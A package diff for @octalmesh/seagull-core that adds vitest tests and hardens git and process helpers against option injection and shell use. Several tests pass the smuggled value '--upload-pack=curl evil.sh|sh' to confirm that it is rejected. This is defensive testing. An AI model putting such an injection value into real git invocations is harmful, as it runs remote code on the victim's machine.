@octalmesh/seagull-core 0.0.2 → 0.1.1

package/src/generators/openapi-typescript/openapi-typescript.generator.test.ts

@@ -0,0 +1,190 @@
+import { mkdtemp, readFile, rm, stat } from "node:fs/promises";
+import { tmpdir } from "node:os";
+import path from "node:path";
+
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import type { GenerateContext, PrepareContext } from "../../generator/types";
+import { makeArtifact, makeContract } from "../../test-support/fixtures";
+
+const runMock = vi.fn((..._args: unknown[]) => Promise.resolve());
+const resolveBinPathMock = vi.fn(
+  (..._args: unknown[]) => "/fake/bin/openapi-typescript.js",
+);
+
+vi.mock("../../process/exec", () => ({
+  run: (...a: unknown[]) => runMock(...a),
+}));
+vi.mock("../../process/resolve-bin", () => ({
+  resolveBinPath: (...a: unknown[]) => resolveBinPathMock(...a),
+}));
+
+const { OpenApiTypescriptGenerator } =
+  await import("./openapi-typescript.generator");
+
+describe("OpenApiTypescriptGenerator", () => {
+  let dir: string;
+
+  beforeEach(async () => {
+    dir = await mkdtemp(path.join(tmpdir(), "seagull-oats-"));
+    runMock.mockClear();
+    resolveBinPathMock.mockClear();
+  });
+
+  afterEach(async () => {
+    await rm(dir, { recursive: true, force: true });
+  });
+
+  it("exposes 'tool' as \"openapi-typescript\"", () => {
+    expect(new OpenApiTypescriptGenerator().tool).toBe("openapi-typescript");
+  });
+
+  describe("prepare", () => {
+    it("creates every entry's output directory", async () => {
+      const outA = path.join(dir, "auth", "ts-server");
+      const outB = path.join(dir, "catalog", "ts-server");
+
+      const ctx: PrepareContext = {
+        rootDir: dir,
+        entries: [
+          {
+            contract: makeContract(),
+            artifact: makeArtifact({ outputDir: outA }),
+          },
+          {
+            contract: makeContract({ name: "catalog" }),
+            artifact: makeArtifact({ outputDir: outB }),
+          },
+        ],
+      };
+
+      await new OpenApiTypescriptGenerator().prepare(ctx);
+
+      await expect(stat(outA)).resolves.toMatchObject({});
+      await expect(stat(outB)).resolves.toMatchObject({});
+    });
+
+    it("resolves the openapi-typescript bin and runs it once, in rootDir, with no extra args", async () => {
+      const ctx: PrepareContext = { rootDir: dir, entries: [] };
+
+      await new OpenApiTypescriptGenerator().prepare(ctx);
+
+      expect(resolveBinPathMock).toHaveBeenCalledWith(
+        "openapi-typescript",
+        "openapi-typescript",
+      );
+      expect(runMock).toHaveBeenCalledWith(
+        "node",
+        ["/fake/bin/openapi-typescript.js"],
+        dir,
+      );
+      expect(runMock).toHaveBeenCalledOnce();
+    });
+  });
+
+  describe("generate", () => {
+    function makeCtx(
+      overrides: Partial<GenerateContext> = {},
+    ): GenerateContext {
+      return {
+        rootDir: dir,
+        contract: makeContract(),
+        artifact: makeArtifact({
+          tool: "openapi-typescript",
+          lang: "typescript",
+          kind: "server",
+          outputDir: dir,
+          package: "@octalmesh/auth-server",
+        }),
+        version: "1.0.0",
+        specInputPath: "/repo/dist/specs/auth.json",
+        ...overrides,
+      };
+    }
+
+    it("writes a package.json with name/version/description/types/files/license", async () => {
+      await new OpenApiTypescriptGenerator().generate(
+        makeCtx({ version: "1.4.0" }),
+      );
+
+      const pkg = JSON.parse(
+        await readFile(path.join(dir, "package.json"), "utf8"),
+      ) as Record<string, unknown>;
+
+      expect(pkg).toMatchObject({
+        name: "@octalmesh/auth-server",
+        version: "1.4.0",
+        description: "Types-only OpenAPI contract for the auth service.",
+        types: "./index.d.ts",
+        files: ["index.d.ts"],
+        license: "MIT",
+      });
+    });
+
+    it("writes 'repository' as git+<repositoryUrl>.git", async () => {
+      await new OpenApiTypescriptGenerator().generate(
+        makeCtx({
+          artifact: makeArtifact({
+            outputDir: dir,
+            package: "@octalmesh/auth-server",
+            publishing: {
+              branch: "sdk/svc-auth/ts-server",
+              tagTemplate: "svc-{service}-{id}-v{version}",
+              repositoryUrl: "https://github.com/OctalMesh/ows-contracts",
+              npmRegistry: "https://npm.pkg.github.com",
+              npmAccess: "public",
+              mavenRepositoryId: "github",
+              mavenRepositoryUrl:
+                "https://maven.pkg.github.com/OctalMesh/ows-contracts",
+            },
+          }),
+        }),
+      );
+
+      const pkg = JSON.parse(
+        await readFile(path.join(dir, "package.json"), "utf8"),
+      ) as Record<string, unknown>;
+
+      expect(pkg.repository).toEqual({
+        type: "git",
+        url: "git+https://github.com/OctalMesh/ows-contracts.git",
+      });
+    });
+
+    it("writes 'publishConfig' from artifact.publishing.npmRegistry/npmAccess", async () => {
+      await new OpenApiTypescriptGenerator().generate(
+        makeCtx({
+          artifact: makeArtifact({
+            outputDir: dir,
+            package: "@octalmesh/auth-server",
+            publishing: {
+              branch: "sdk/svc-auth/ts-server",
+              tagTemplate: "svc-{service}-{id}-v{version}",
+              repositoryUrl: "https://github.com/OctalMesh/ows-contracts",
+              npmRegistry: "https://custom.example.com",
+              npmAccess: "restricted",
+              mavenRepositoryId: "github",
+              mavenRepositoryUrl:
+                "https://maven.pkg.github.com/OctalMesh/ows-contracts",
+            },
+          }),
+        }),
+      );
+
+      const pkg = JSON.parse(
+        await readFile(path.join(dir, "package.json"), "utf8"),
+      ) as Record<string, unknown>;
+
+      expect(pkg.publishConfig).toEqual({
+        registry: "https://custom.example.com",
+        access: "restricted",
+      });
+    });
+
+    it("does not invoke the openapi-typescript binary itself (that only happens in prepare)", async () => {
+      await new OpenApiTypescriptGenerator().generate(makeCtx());
+
+      expect(runMock).not.toHaveBeenCalled();
+    });
+  });
+});

package/src/git/git.test.ts

@@ -0,0 +1,234 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const spawnSyncMock = vi.fn<(...args: unknown[]) => unknown>();
+
+vi.mock("node:child_process", () => ({
+  spawnSync: (...args: unknown[]) => spawnSyncMock(...args),
+}));
+
+const {
+  assertSafeRefName,
+  git,
+  readFileAtTag,
+  remoteBranchExists,
+  requireOk,
+  tagExists,
+} = await import("./git");
+
+describe("git", () => {
+  beforeEach(() => {
+    spawnSyncMock.mockReset();
+  });
+
+  it("runs the git binary with the given args/cwd and utf8 encoding", () => {
+    spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
+
+    git(["status"], "/repo");
+
+    expect(spawnSyncMock).toHaveBeenCalledWith("git", ["status"], {
+      cwd: "/repo",
+      encoding: "utf8",
+    });
+  });
+
+  it("trims stdout/stderr", () => {
+    spawnSyncMock.mockReturnValue({
+      status: 0,
+      stdout: "  hello  \n",
+      stderr: "  world  \n",
+    });
+
+    const result = git(["status"], "/repo");
+
+    expect(result).toEqual({ status: 0, stdout: "hello", stderr: "world" });
+  });
+
+  it("defaults status to 1 and stdout/stderr to '' when spawnSync returns nullish fields", () => {
+    spawnSyncMock.mockReturnValue({
+      status: null,
+      stdout: null,
+      stderr: null,
+    });
+
+    expect(git([], "/repo")).toEqual({ status: 1, stdout: "", stderr: "" });
+  });
+});
+
+describe("remoteBranchExists", () => {
+  beforeEach(() => {
+    spawnSyncMock.mockReset();
+  });
+
+  it("returns true when 'git ls-remote --exit-code --heads' succeeds", () => {
+    spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
+
+    expect(remoteBranchExists("/repo", "sdk/svc-auth/ts-client")).toBe(true);
+    expect(spawnSyncMock).toHaveBeenCalledWith(
+      "git",
+      [
+        "ls-remote",
+        "--exit-code",
+        "--heads",
+        "origin",
+        "--",
+        "sdk/svc-auth/ts-client",
+      ],
+      { cwd: "/repo", encoding: "utf8" },
+    );
+  });
+
+  it("returns false when the command exits non-zero", () => {
+    spawnSyncMock.mockReturnValue({ status: 2, stdout: "", stderr: "" });
+
+    expect(remoteBranchExists("/repo", "missing-branch")).toBe(false);
+  });
+
+  it("rejects a branch starting with '-' instead of passing it to git", () => {
+    expect(() =>
+      remoteBranchExists("/repo", "--upload-pack=curl evil.sh|sh"),
+    ).toThrow(/Invalid git branch/);
+    expect(spawnSyncMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("tagExists", () => {
+  beforeEach(() => {
+    spawnSyncMock.mockReset();
+  });
+
+  it("returns true when 'git ls-remote --exit-code --tags' succeeds", () => {
+    spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
+
+    expect(tagExists("/repo", "svc-auth-ts-client-v1.0.0")).toBe(true);
+    expect(spawnSyncMock).toHaveBeenCalledWith(
+      "git",
+      [
+        "ls-remote",
+        "--exit-code",
+        "--tags",
+        "origin",
+        "--",
+        "svc-auth-ts-client-v1.0.0",
+      ],
+      { cwd: "/repo", encoding: "utf8" },
+    );
+  });
+
+  it("returns false when the tag doesn't exist remotely", () => {
+    spawnSyncMock.mockReturnValue({ status: 2, stdout: "", stderr: "" });
+
+    expect(tagExists("/repo", "missing-tag")).toBe(false);
+  });
+
+  it("rejects a tag starting with '-' instead of passing it to git", () => {
+    expect(() => tagExists("/repo", "--upload-pack=curl evil.sh|sh")).toThrow(
+      /Invalid git tag/,
+    );
+    expect(spawnSyncMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("readFileAtTag", () => {
+  beforeEach(() => {
+    spawnSyncMock.mockReset();
+  });
+
+  it("returns the file content at the given tag when fetch and show both succeed", () => {
+    spawnSyncMock
+      .mockReturnValueOnce({ status: 0, stdout: "", stderr: "" }) // fetch
+      .mockReturnValueOnce({ status: 0, stdout: "abc123\n", stderr: "" }); // show
+
+    const content = readFileAtTag("/repo", "v1.0.0", "SPEC_HASH");
+
+    expect(content).toBe("abc123");
+    expect(spawnSyncMock).toHaveBeenNthCalledWith(
+      1,
+      "git",
+      ["fetch", "origin", "--force", "--", "refs/tags/v1.0.0:refs/tags/v1.0.0"],
+      { cwd: "/repo", encoding: "utf8" },
+    );
+    expect(spawnSyncMock).toHaveBeenNthCalledWith(
+      2,
+      "git",
+      ["show", "v1.0.0:SPEC_HASH"],
+      { cwd: "/repo", encoding: "utf8" },
+    );
+  });
+
+  it("returns null when the tag can't be fetched", () => {
+    spawnSyncMock.mockReturnValueOnce({ status: 1, stdout: "", stderr: "err" });
+
+    expect(readFileAtTag("/repo", "v1.0.0", "SPEC_HASH")).toBeNull();
+    expect(spawnSyncMock).toHaveBeenCalledTimes(1);
+  });
+
+  it("rejects a tag starting with '-' instead of passing it to git", () => {
+    expect(() =>
+      readFileAtTag("/repo", "--upload-pack=curl evil.sh|sh", "SPEC_HASH"),
+    ).toThrow(/Invalid git tag/);
+    expect(spawnSyncMock).not.toHaveBeenCalled();
+  });
+
+  it("rejects an empty file path instead of passing it to git", () => {
+    expect(() => readFileAtTag("/repo", "v1.0.0", "")).toThrow(
+      /Invalid git file path/,
+    );
+    expect(spawnSyncMock).not.toHaveBeenCalled();
+  });
+
+  it("returns null when the tag exists but the file doesn't (pre-dates the file's introduction)", () => {
+    spawnSyncMock
+      .mockReturnValueOnce({ status: 0, stdout: "", stderr: "" })
+      .mockReturnValueOnce({
+        status: 128,
+        stdout: "",
+        stderr: "fatal: path does not exist",
+      });
+
+    expect(readFileAtTag("/repo", "v0.1.0", "SPEC_HASH")).toBeNull();
+  });
+});
+
+describe("assertSafeRefName", () => {
+  it("does not throw for an ordinary ref name", () => {
+    expect(() =>
+      assertSafeRefName("sdk/svc-auth/ts-client", "branch"),
+    ).not.toThrow();
+  });
+
+  it("throws for a ref name starting with '-'", () => {
+    expect(() => assertSafeRefName("-x", "branch")).toThrow(
+      'Invalid git branch "-x": must not start with "-" - git would parse it as a command-line option instead of a ref name',
+    );
+  });
+
+  it("throws for an empty ref name", () => {
+    expect(() => assertSafeRefName("", "tag")).toThrow(/Invalid git tag/);
+  });
+});
+
+describe("requireOk", () => {
+  it("does not throw for a successful result", () => {
+    expect(() =>
+      requireOk({ status: 0, stdout: "ok", stderr: "" }, "should not throw"),
+    ).not.toThrow();
+  });
+
+  it("throws '<message>: <stderr>' when stderr is present", () => {
+    expect(() =>
+      requireOk(
+        { status: 1, stdout: "", stderr: "fatal: not a git repository" },
+        "Failed to create worktree",
+      ),
+    ).toThrow("Failed to create worktree: fatal: not a git repository");
+  });
+
+  it("falls back to stdout when stderr is empty", () => {
+    expect(() =>
+      requireOk(
+        { status: 1, stdout: "some diagnostic on stdout", stderr: "" },
+        "Commit failed",
+      ),
+    ).toThrow("Commit failed: some diagnostic on stdout");
+  });
+});

package/src/git/git.ts

@@ -1,5 +1,37 @@
 import { spawnSync } from "node:child_process";
 
+import { z } from "zod";
+
+/**
+ * A git ref name (branch or tag) that's safe to pass as a CLI argument to
+ * `git`.
+ *
+ * @see {@link assertSafeRefName}
+ */
+export const gitRefNameSchema = z
+  .string()
+  .min(1)
+  .refine((value) => !value.startsWith("-"), {
+    message:
+      'must not start with "-" - git would parse it as a command-line option instead of a ref name',
+  });
+
+/**
+ * Throws if `name` isn't a safe git ref name - see {@link gitRefNameSchema}.
+ *
+ * @param name  - The candidate branch/tag name.
+ * @param label - What to call it in the error message (e.g. `"branch"`).
+ */
+export function assertSafeRefName(name: string, label: string): void {
+  const result = gitRefNameSchema.safeParse(name);
+
+  if (!result.success) {
+    throw new Error(
+      `Invalid git ${label} "${name}": ${result.error.issues[0]?.message}`,
+    );
+  }
+}
+
 /**
  * The result of executing a git command.
  *
@@ -38,9 +70,13 @@ export function git(args: string[], cwd: string): GitResult {
  * @returns Whether the remote branch exists (true) or not (false).
  */
 export function remoteBranchExists(repoRoot: string, branch: string): boolean {
+  assertSafeRefName(branch, "branch");
+
   return (
-    git(["ls-remote", "--exit-code", "--heads", "origin", branch], repoRoot)
-      .status === 0
+    git(
+      ["ls-remote", "--exit-code", "--heads", "origin", "--", branch],
+      repoRoot,
+    ).status === 0
   );
 }
 
@@ -52,8 +88,10 @@ export function remoteBranchExists(repoRoot: string, branch: string): boolean {
  * @returns Whether the remote tag exists (true) or not (false).
  */
 export function tagExists(repoRoot: string, tag: string): boolean {
+  assertSafeRefName(tag, "tag");
+
   return (
-    git(["ls-remote", "--exit-code", "--tags", "origin", tag], repoRoot)
+    git(["ls-remote", "--exit-code", "--tags", "origin", "--", tag], repoRoot)
       .status === 0
   );
 }
@@ -67,8 +105,10 @@ export function tagExists(repoRoot: string, tag: string): boolean {
  * @returns The result of the underlying `git fetch` command.
  */
 function fetchTag(repoRoot: string, tag: string): GitResult {
+  assertSafeRefName(tag, "tag");
+
   return git(
-    ["fetch", "origin", `refs/tags/${tag}:refs/tags/${tag}`, "--force"],
+    ["fetch", "origin", "--force", "--", `refs/tags/${tag}:refs/tags/${tag}`],
     repoRoot,
   );
 }
@@ -92,6 +132,12 @@ export function readFileAtTag(
   tag: string,
   filePath: string,
 ): string | null {
+  assertSafeRefName(tag, "tag");
+
+  if (filePath.length === 0) {
+    throw new Error("Invalid git file path: must not be empty");
+  }
+
   const fetch = fetchTag(repoRoot, tag);
 
   if (fetch.status !== 0) {

package/src/index.ts

@@ -5,6 +5,11 @@ export {
   CONFIG_FILENAMES,
   resolveConfigPath,
 } from "./config/resolve-config-file";
+export {
+  parseBundledSpec,
+  primarySpecFormat,
+  specFilename,
+} from "./config/spec-format";
 export type {
   ResolvedArtifact,
   ResolvedArtifactEntry,
@@ -14,6 +19,7 @@ export type {
   SdkKind,
   SdkLang,
   SdkTool,
+  SpecFormat,
   VarsTree,
 } from "./config/types";
 
@@ -25,7 +31,9 @@ export { run, runSync } from "./process/exec";
 export { resolveBinPath } from "./process/resolve-bin";
 
 export {
+  assertSafeRefName,
   git,
+  gitRefNameSchema,
   readFileAtTag,
   remoteBranchExists,
   requireOk,

package/src/process/exec.test.ts

@@ -0,0 +1,103 @@
+import { EventEmitter } from "node:events";
+
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { run, runSync } from "./exec";
+
+const spawnMock = vi.fn<(...args: unknown[]) => unknown>();
+const spawnSyncMock = vi.fn<(...args: unknown[]) => unknown>();
+
+vi.mock("node:child_process", () => ({
+  spawn: (...args: unknown[]) => spawnMock(...args),
+  spawnSync: (...args: unknown[]) => spawnSyncMock(...args),
+}));
+
+class FakeChildProcess extends EventEmitter {}
+
+describe("run", () => {
+  beforeEach(() => {
+    spawnMock.mockReset();
+  });
+
+  it("spawns the command with inherited stdio and no shell", async () => {
+    const child = new FakeChildProcess();
+
+    spawnMock.mockReturnValue(child);
+
+    const promise = run("redocly", ["lint", "spec.yaml"], "/repo");
+
+    child.emit("close", 0);
+    await promise;
+
+    expect(spawnMock).toHaveBeenCalledWith("redocly", ["lint", "spec.yaml"], {
+      cwd: "/repo",
+      stdio: "inherit",
+    });
+  });
+
+  it("resolves when the process exits 0", async () => {
+    const child = new FakeChildProcess();
+
+    spawnMock.mockReturnValue(child);
+
+    const promise = run("cmd", [], "/repo");
+
+    child.emit("close", 0);
+
+    await expect(promise).resolves.toBeUndefined();
+  });
+
+  it("rejects with a descriptive error when the process exits non-zero", async () => {
+    const child = new FakeChildProcess();
+
+    spawnMock.mockReturnValue(child);
+
+    const promise = run("cmd", ["arg1", "arg2"], "/repo");
+
+    child.emit("close", 2);
+
+    await expect(promise).rejects.toThrow("cmd arg1 arg2 exited with 2");
+  });
+
+  it("rejects when the process exits with a null code (e.g. killed by signal)", async () => {
+    const child = new FakeChildProcess();
+
+    spawnMock.mockReturnValue(child);
+
+    const promise = run("cmd", [], "/repo");
+
+    child.emit("close", null);
+
+    await expect(promise).rejects.toThrow("cmd  exited with null");
+  });
+});
+
+describe("runSync", () => {
+  beforeEach(() => {
+    spawnSyncMock.mockReset();
+  });
+
+  it("runs the command synchronously with inherited stdio and no shell", () => {
+    spawnSyncMock.mockReturnValue({ status: 0 });
+
+    const status = runSync("git", ["status"], "/repo");
+
+    expect(status).toBe(0);
+    expect(spawnSyncMock).toHaveBeenCalledWith("git", ["status"], {
+      cwd: "/repo",
+      stdio: "inherit",
+    });
+  });
+
+  it("returns the non-zero exit status as-is", () => {
+    spawnSyncMock.mockReturnValue({ status: 1 });
+
+    expect(runSync("cmd", [], "/repo")).toBe(1);
+  });
+
+  it("defaults to status 1 when 'status' is null", () => {
+    spawnSyncMock.mockReturnValue({ status: null });
+
+    expect(runSync("cmd", [], "/repo")).toBe(1);
+  });
+});

package/src/process/exec.ts

@@ -20,7 +20,7 @@ export function run(
   cwd: string,
 ): Promise<void> {
   return new Promise<void>((resolvePromise, reject) => {
-    const child = spawn(command, args, { cwd, stdio: "inherit", shell: true });
+    const child = spawn(command, args, { cwd, stdio: "inherit" });
 
     child.on("close", (code) => {
       if (code === 0) {
@@ -46,7 +46,6 @@ export function runSync(command: string, args: string[], cwd: string): number {
   const result = spawnSync(command, args, {
     cwd,
     stdio: "inherit",
-    shell: true,
   });
 
   return result.status ?? 1;